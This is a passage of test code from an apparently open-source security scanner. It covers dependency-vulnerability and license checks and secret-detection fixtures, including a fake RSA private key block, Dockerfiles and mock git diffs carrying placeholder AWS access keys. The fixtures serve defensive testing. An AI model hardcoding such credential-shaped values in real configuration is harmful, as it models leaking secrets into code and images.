cve_record_with_2_license.vulnerability_details assert cve_record_with_2_license.vulnerability_details["licenses"] == '"OSI_APACHE","DUMMY_OTHER_LICENSE"' # making sure extra-resources (a scanned packages without cves) also have licenses - this data will be printed # as part of the BON report. extra_resource = next((c for c in report.extra_resources if c.resource == "requirements.txt.requests"), None) assert extra_resource is not None assert "licenses" in extra_resource.vulnerability_details assert extra_resource.vulnerability_details["licenses"] == "OSI_APACHE" license_resource = next((c for c in report.failed_checks if c.check_name == "SCA license" if c.resource == "requirements.txt.flask"), None) assert license_resource is not None assert license_resource.check_id == "BC_LIC_1" assert license_resource.bc_check_id == "BC_LIC_1" assert license_resource.check_result == {"result": CheckResult.FAILED} assert {"package_name", "package_name", "license", "status", "policy"} <= license_resource.vulnerability_details.keys() assert license_resource.vulnerability_details["package_name"] == "flask" assert license_resource.vulnerability_details["package_version"] == "0.6" assert license_resource.vulnerability_details["license"] == "DUMMY_OTHER_LICENSE" assert license_resource.vulnerability_details["status"] == "FAILED" assert license_resource.vulnerability_details["policy"] == "BC_LIC_1" def test_runner_honors_enforcement_rules(mocker: MockerFixture, scan_result_2): # given bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" scanner_mock = MagicMock() scanner_mock.return_value.scan.return_value = scan_result_2 mocker.patch("checkov.sca_package_2.runner.Scanner", side_effect=scanner_mock) # when runner = Runner() filter = RunnerFilter(framework=['sca_package'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = { CheckType.SCA_PACKAGE: { CodeCategoryType.LICENSES: Severities[BcSeverities.OFF], CodeCategoryType.VULNERABILITIES: Severities[BcSeverities.OFF] } } report = runner.run(root_folder=EXAMPLES_DIR, runner_filter=filter) # then summary = report.get_summary() # then assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] > 0 assert any(c for c in report.skipped_checks if c.check_id.startswith('CKV_CVE')) assert any(c for c in report.skipped_checks if c.check_id.startswith('BC_LIC')) assert summary["parsing_errors"] == 0 def test_run_license_policy(mocker: MockerFixture, scan_result_2): # given bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" scanner_mock = MagicMock() scanner_mock.return_value.scan.return_value = scan_result_2 mocker.patch("checkov.sca_package_2.runner.Scanner", side_effect=scanner_mock) # when runner = Runner() filter = RunnerFilter(framework=['sca_package'], checks=['BC_LIC_1']) report = runner.run(root_folder=EXAMPLES_DIR, runner_filter=filter) # then assert not [c for c in report.passed_checks + report.failed_checks if c.check_id.startswith('CKV_CVE')] def test_run_with_empty_scan_result(mocker: MockerFixture): # given bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" scanner_mock = MagicMock() scanner_mock.return_value.scan.return_value = dict() mocker.patch("checkov.sca_package_2.runner.Scanner", side_effect=scanner_mock) # when report = Runner().run(root_folder=EXAMPLES_DIR) # then assert report.check_type == "sca_package" assert report.resources == set() def test_run_with_ide_source_and_bc_api_key(mocker: MockerFixture): # given bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.bc_source = SourceTypes[BCSourceType.JETBRAINS] scanner_mock = MagicMock() mocker.patch("checkov.sca_package_2.runner.Scanner", side_effect=scanner_mock) # when report = Runner().run(root_folder=EXAMPLES_DIR) # bc_integration.bc_source = None # then assert report.check_type == "sca_package" assert report.resources == set() assert report.error_status == ErrorStatus.SUCCESS # shouldn't be ERROR # scanner shouldn't be invoked scanner_mock.assert_not_called() ================================================ FILE: tests/sca_package_2/test_runner_dependency_tree.py ================================================ from pathlib import Path from packaging import version as packaging_version from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.models.enums import CheckResult EXAMPLES_DIR = Path(__file__).parent / "examples" def test_run(sca_package_report_dt): # given report = next(sca_package_report_dt) # then assert report.check_type == "sca_package" assert report.resources == {'package-lock.json.helmet-csp', 'requirements.txt.grpcio_tools', 'requirements.txt.gevent', 'requirements.txt.pymysql', 'requirements.txt.pyyaml', 'requirements.txt.sanic', 'package-lock.json.nconf', 'requirements.txt.pyramid', 'requirements.txt.multidict', 'requirements.txt.aiohttp', 'package-lock.json.cypress', 'requirements.txt.testcontainers', 'package-files/java/maven/normal/pom.xml.junit_junit', 'requirements.txt.requests', 'requirements.txt.tornado', 'package-lock.json.uglify-js', 'package-files/yarn/package.json.node-esapi', 'package-files/yarn/package.json.marked', 'package-lock.json.decode-uri-component', 'package-lock.json.mongodb', 'requirements.txt.django', 'package-lock.json.debug', 'requirements.txt.pika', 'requirements.txt.yarl', 'requirements.txt.protobuf', 'requirements.txt.celery', 'requirements.txt.uvicorn', 'requirements.txt.mysqlclient', 'requirements.txt.elasticsearch', 'package-files/yarn/package.json.needle', 'requirements.txt.fastapi', 'package-lock.json.marked', 'requirements.txt.pymongo', 'package-lock.json.bson', 'requirements.txt.redis', 'package-lock.json.minimist', 'package-lock.json.mocha', 'requirements.txt.kafka-python', 'requirements.txt.wrapt', 'requirements.txt.hug', 'package-lock.json.unset-value', 'package-lock.json.glob-parent', 'package-lock.json.grunt', 'requirements.txt.flask', 'package-files/yarn/package.json.bcrypt-nodejs', 'requirements.txt.contextvars', 'requirements.txt.werkzeug', 'requirements.txt.packaging', 'package-files/java/maven/normal/pom.xml.org.apache.logging.log4j_log4j-core', 'requirements.txt.gunicorn', 'requirements.txt.urllib3', 'requirements.txt.psycopg', 'requirements.txt.streamlit', 'package-files/java/maven/normal/pom.xml.commons-collections_commons-collections'} assert len(report.passed_checks) == 34 assert len(report.failed_checks) == 56 assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 cve_record = next((c for c in report.failed_checks if c.resource == "package-lock.json.bson" and c.vulnerability_details.get('root_package_name', "") == 'mongodb' and c.check_name == "SCA package scan"), None) assert cve_record is not None assert cve_record.bc_check_id == 'BC_CVE_2019_2391' assert cve_record.check_id == 'CKV_CVE_2019_2391' assert cve_record.check_name == "SCA package scan" assert cve_record.check_result == {"result": CheckResult.FAILED} assert cve_record.code_block == [(0, 'bson: 1.0.9')] assert cve_record.description == ( 'Incorrect parsing of certain JSON input may result in js-bson not correctly serializing BSON. ' 'This may cause unexpected application behaviour including data disclosure. ' 'This issue affects: MongoDB Inc. js-bson library version 1.1.3 and prior to.' ) assert cve_record.file_abs_path == f"{EXAMPLES_DIR}/package-lock.json" assert cve_record.file_line_range == [0, 0] assert cve_record.file_path == "/package-lock.json" assert cve_record.repo_file_path == "/tests/sca_package_2/examples/package-lock.json" assert cve_record.resource == 'package-lock.json.bson' assert cve_record.severity == Severities[BcSeverities.MEDIUM] assert cve_record.short_description == 'CVE-2019-2391 - bson: 1.0.9' assert cve_record.vulnerability_details["lowest_fixed_version"] == "1.1.4" assert cve_record.vulnerability_details["fixed_versions"] == [ packaging_version.parse("1.1.4"), ] assert cve_record.vulnerability_details['root_package_name'] == 'mongodb' assert cve_record.vulnerability_details['root_package_version'] == '2.2.36' assert cve_record.vulnerability_details['root_package_fix_version'] == '3.1.13' ================================================ FILE: tests/secrets/__init__.py ================================================ ================================================ FILE: tests/secrets/build_log_prefix/plain_private_key.txt ================================================ Decrypting signing key -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8rJ3k8PpZrK7aR0L8XyFJq3uR2V1dE9 m5Q8c7WQ8RZz8XyTQe3Z2J4r7BvX9kJ5E6L0Xy8aKpY9tF5J3YwIDAQAB -----END RSA PRIVATE KEY----- Key loaded successfully ================================================ FILE: tests/secrets/conftest.py ================================================ import pytest from checkov.common.bridgecrew.check_type import CheckType from checkov.common.models.enums import CheckResult from checkov.common.output.report import Report from checkov.common.output.secrets_record import SecretsRecord @pytest.fixture def mock_bc_integration(): from checkov.common.bridgecrew.platform_integration import bc_integration bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.skip_download = False return bc_integration @pytest.fixture def mock_metadata_integration(): from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration check_metadata = integration.check_metadata integration.check_metadata = { "CKV_SECRET_2": { "id": "BC_GIT_2", "checkovId": "CKV_SECRET_2", }, "CKV_SECRET_6": { "id": "BC_GIT_6", "checkovId": "CKV_SECRET_6", } } yield integration.check_metadata = check_metadata @pytest.fixture def secrets_report() -> Report: kwargs = {'validation_status': 'mock', 'check_id': 'mock', 'check_name': 'mock', 'code_block': 'mock', 'file_path': 'mock', 'file_line_range': 'mock', 'evaluations': 'mock', 'check_class': 'mock', 'file_abs_path': 'mock'} record_1 = SecretsRecord(bc_check_id="VIOLATION_1", resource="RESOURCE_1", check_result={"result": CheckResult.FAILED}, **kwargs) record_2 = SecretsRecord(bc_check_id="VIOLATION_2", resource="RESOURCE_2", check_result={"result": CheckResult.FAILED}, **kwargs) record_3 = SecretsRecord(bc_check_id="VIOLATION_3", resource="RESOURCE_3", check_result={"result": CheckResult.FAILED}, **kwargs) record_4 = SecretsRecord(bc_check_id="VIOLATION_4", resource="RESOURCE_4", check_result={"result": CheckResult.FAILED}, **kwargs) record_5 = SecretsRecord(bc_check_id="VIOLATION_1", resource="RESOURCE_1", check_result={"result": CheckResult.PASSED}, **kwargs) report = Report(CheckType.SECRETS) report.add_record(record_1) report.add_record(record_2) report.add_record(record_3) report.add_record(record_4) report.add_record(record_5) return report @pytest.fixture def secrets_report_invalid_status() -> Report: kwargs = {'check_id': 'mock', 'check_name': 'mock', 'code_block': 'mock', 'file_path': 'mock', 'file_line_range': 'mock', 'evaluations': 'mock', 'check_class': 'mock', 'file_abs_path': 'mock'} record_1 = SecretsRecord(bc_check_id="VIOLATION_1", resource="RESOURCE_1", check_result={"result": CheckResult.FAILED}, validation_status='Invalid', **kwargs) record_2 = SecretsRecord(bc_check_id="VIOLATION_2", resource="RESOURCE_2", check_result={"result": CheckResult.FAILED}, validation_status='Invalid', **kwargs) record_3 = SecretsRecord(bc_check_id="VIOLATION_3", resource="RESOURCE_3", check_result={"result": CheckResult.FAILED}, validation_status='Invalid', **kwargs) record_4 = SecretsRecord(bc_check_id="VIOLATION_4", resource="RESOURCE_4", check_result={"result": CheckResult.FAILED}, validation_status='Invalid', **kwargs) record_5 = SecretsRecord(bc_check_id="VIOLATION_1", resource="RESOURCE_1", check_result={"result": CheckResult.PASSED}, validation_status='Invalid', **kwargs) report = Report(CheckType.SECRETS) report.add_record(record_1) report.add_record(record_2) report.add_record(record_3) report.add_record(record_4) report.add_record(record_5) return report ================================================ FILE: tests/secrets/custom_and_entropy/main.tf ================================================ resource "aws_instance" "a" { test_pass = "z2b7k2cQfzc+yjP2K8cjuQ8uoorHBpEvC+XWhU3Z5+IdrPQYwr991Lj73xfZ+RA2GzC0wTedDTvb1C2NX+3Gpw==" } ================================================ FILE: tests/secrets/custom_regex_detector/Dockerfile ================================================ FROM base:1 USER bob ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEY" ENV CIRCLE="2065ae463be4e434bb/LIR\366d44e7a776d472" ENV SEC_3="eyJrIjoiNUwyZU7TMmRxQXNV/HANA/XB0ME4zYkhRaTk2STVhR0MiLCJuIjoidGVtcCIsImlkIjoxfQ==" ENV TEST="5FP0NmFYz81U32XdjNb42762" ENV OUT="5FP0NmFYz81U32XdjNb42762eyJrIjoiNUwyZU7TMmRxQXNV/HANA/XB0ME4zYkhRaTk2STVhR0MiLCJuIjoidGVtcCIsImlkIjoxfQ==" ================================================ FILE: tests/secrets/git_history/__init__.py ================================================ ================================================ FILE: tests/secrets/git_history/test_utils.py ================================================ from __future__ import annotations import random import string from typing import Dict, List, Optional, Generator, Any from git import Repo from checkov.secrets.git_types import Commit, CommitMetadata def mock_set_repo(self) -> bool: self.repo = True return True def mock_get_first_empty_commit(self, a) -> Commit: return Commit( metadata=CommitMetadata( commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', committer='🏖first-empty-commiter', committed_datetime='2022-11-14T16:10:21+00:00'), files={ '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +0,0 @@\n"} ) def mock_get_first_commit(self, a) -> Commit: commit_mock = \ Commit( metadata=CommitMetadata( commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', committer='🐲dragon of commits🐲', committed_datetime='2022-11-14T16:10:21+00:00'), files={ '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +1,50 @@\n+# These are some examples of commonly ignored file patterns.\n+# You should customize this list as applicable to your project.\n+# Learn more about .gitignore:\n+# https://www.atlassian.com/git/tutorials/saving-changes/gitignore\n+\n+# Node artifact files\n+node_modules/\n+dist/\n+\n+# Compiled Java class files\n+*.class\n+\n+# Compiled Python bytecode\n+*.py[cod]\n+\n+# Log files\n+*.log\n+\n+# Package files\n+*.jar\n+\n+# Maven\n+target/\n+dist/\n+\n+# JetBrains IDE\n+.idea/\n+\n+# Unit test reports\n+TEST*.xml\n+\n+# Generated by MacOS\n+.DS_Store\n+\n+# Generated by Windows\n+Thumbs.db\n+\n+# Applications\n+*.app\n+*.exe\n+*.war\n+\n+# Large media files\n+*.mp4\n+*.tiff\n+*.avi\n+*.flv\n+*.mov\n+*.wmv\n+\n", 'readme_mock-first-commit-mock.txt': "--- ''\n+++ readme_mock-first-commit-mock.txt\n@@ -0,0 +1 @@\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\n\\ No newline at end of file\n", 'test-multiline-secrets-first-commit-mock.json': '--- \'\'\n+++ test-multiline-secrets-first-commit-mock.json\n@@ -0,0 +1,18 @@\n+{\n+ "spec": [\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n' } ) return commit_mock def mock_git_repo_commits1(self, last_commit_sha: str) -> List[Commit]: """ add secret (secret1 added) - +1 move the secret to different line - 0 modify the secret value (secret1 removed=update + secret2 added) - +1 remove the secret (secret2 removed=update) - 0 add file with new secret (secret3 added) - +1 """ commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='8a21fa691e17907afee57e93b7820c5943b12746', committer='Cherry🍒', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -4,6 +4,8 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n \n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+\n COPY Pipfile Pipfile.lock ./\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n'} ), Commit( metadata=CommitMetadata( commit_hash='d3249f33376b94a939b67a638aba4557b071875f', committer='🍒Cherry🍒', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -1,10 +1,9 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-\n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n ENV PIP_ENV_VERSION="2022.1.8"\n \n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n COPY Pipfile Pipfile.lock ./\n \n'} ), Commit( metadata=CommitMetadata( commit_hash='3d79bba03c6f0ddcfb8334f531701942c4be0f32', committer='Cherry🍒', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -1,7 +1,7 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n ENV PIP_ENV_VERSION="2022.1.8"\n \n \n'} ), Commit( metadata=CommitMetadata( commit_hash='7dff3b21fc2563f51655f34f0d3601cdf79d0d5e', committer='🍒Cherry🍒', committed_datetime='2022-12-14T16:54:05+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -1,7 +1,7 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n+\n ENV PIP_ENV_VERSION="2022.1.8"\n \n \n'} ), Commit( metadata=CommitMetadata( commit_hash='6941281550a12659bdbe87c9a537f88124f78fac', committer='🍒Cherry🍒', committed_datetime='2022-12-14T16:57:26+00:00'), files={ 'main.py': 'diff --git a/None b/main.py\nindex 0000..0000 0000\n--- a/None\n+++ b/main.py\n@@ -0,0 +1,4 @@\n+AWS_ACCESS_TOKEN="AKIAZZZZZZZZZZZZZZZZ"\n+\n+if __name__ == "__main__":\n+ print(AWS_ACCESS_TOKEN)\n\\ No newline at end of file\n'} ), ] return commits_mock def mock_git_repo_commits2(self, last_commit_sha: str) -> List[Commit]: """ add secret (secret1 added) - +1 move the secret to different line - 0 remove the secret (secret1 removed=update) - 0 add secret (secret1 added - add the same secret - update) - 0 move the secret to different line - 0 """ commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='11e59e4e578c6ebcb48aae1e5e078a54c62920eb', committer='Mango🥭', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-\n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ), Commit( metadata=CommitMetadata( commit_hash='c7c932ef4d31c487a921d2ce8544a4a468adf6b9', committer='🥭Mango🥭', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -2,10 +2,10 @@\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n \n-\n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ), Commit( metadata=CommitMetadata( commit_hash='4b8321e46217a87e21240afd88cdc0f1a861c0f5', committer='Mango🥭', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -2,7 +2,6 @@\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n \n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n \n'} ), Commit( metadata=CommitMetadata( commit_hash='7bb5c69d95b31bc2242bcf08ce25e74e953f9ae9', committer='🥭Mango🥭', committed_datetime='2022-12-14T16:54:05+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -4,7 +4,7 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-\n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ), Commit( metadata=CommitMetadata( commit_hash='2675bffd2662aae7025b7f3bb5fd384cdab355b1', committer='🥭Mango🥭', committed_datetime='2022-12-14T16:57:26+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -1,10 +1,11 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ), ] return commits_mock def mock_git_repo_commits3(self, last_commit_sha: str) -> List[Commit]: """ add secret (secret1 added) - +1 move the secret to different line - 0 add secret equal to secret1 - +1 remove one secret (secret1 - update add remove_commit_hash) - 0 """ commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='900b1e8f6f336a92e8f5fca3babca764e32c3b3d', committer='baguette🥖', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -1,6 +1,7 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n+ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n'} ), Commit( metadata=CommitMetadata( commit_hash='4229974aec78152c426b40db8b6912ba098f3add', committer='baguette🥖', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -1,11 +1,11 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n+\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-\n+ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ), Commit( metadata=CommitMetadata( commit_hash='3c8cb7eedb3986308c96713fc65b006adcf3bc44', committer='baguette🥖', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -6,7 +6,7 @@ FROM public.ecr.aws/lambda/python:3.9\n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n-\n+ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n && pipenv run pip install -r requirements.txt --target "${LAMBDA_TASK_ROOT}" \\\n'} ), Commit( metadata=CommitMetadata( commit_hash='697308e61171e33224757e620aaf67b1a877c99d', committer='baguette🥖', committed_datetime='2022-12-14T16:54:05+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n+\n ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ), Commit( # this commit should make no difference - its just to have 5 commits returned from this mock metadata=CommitMetadata( commit_hash='697308e61171e332247z2i2bi0aaf67b1a877c99d', committer='baguette🥖', committed_datetime='2022-12-14T16:54:05+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-ENV AWS_PIPY="something"\n+\n ENV AWS_DIP="ELSE"\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ), ] return commits_mock def mock_git_repo_commits_remove_file(self, last_commit_sha: str) -> List[Commit]: commits_mock = [ Commit( metadata=CommitMetadata( commit_hash='63342dbee285973a37770bbb1ff4258a3184901e', committer='Lemon🍋', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -4,6 +4,7 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n \n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n COPY Pipfile Pipfile.lock ./\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n'} ), Commit( metadata=CommitMetadata( commit_hash='bca377900d08d442b1080893e50b8dc8276cfcc0', committer='Lemon🍋', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -13,6 +13,7 @@ RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && rm -f requirements.txt Pipfile Pipfile.lock \\\n && pip uninstall -y pipenv\n \n+\n COPY src/ "${LAMBDA_TASK_ROOT}/src/"\n COPY utilsPython/ "${LAMBDA_TASK_ROOT}/utilsPython/"\n \n'} ), Commit( metadata=CommitMetadata( commit_hash='4bd08cd0b2874025ce32d0b1e9cd84ca20d59ce1', committer='Lemon🍋', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/None\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/None\n@@ -1,20 +0,0 @@\n-#checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n-#checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n-FROM public.ecr.aws/lambda/python:3.9\n-\n-ENV 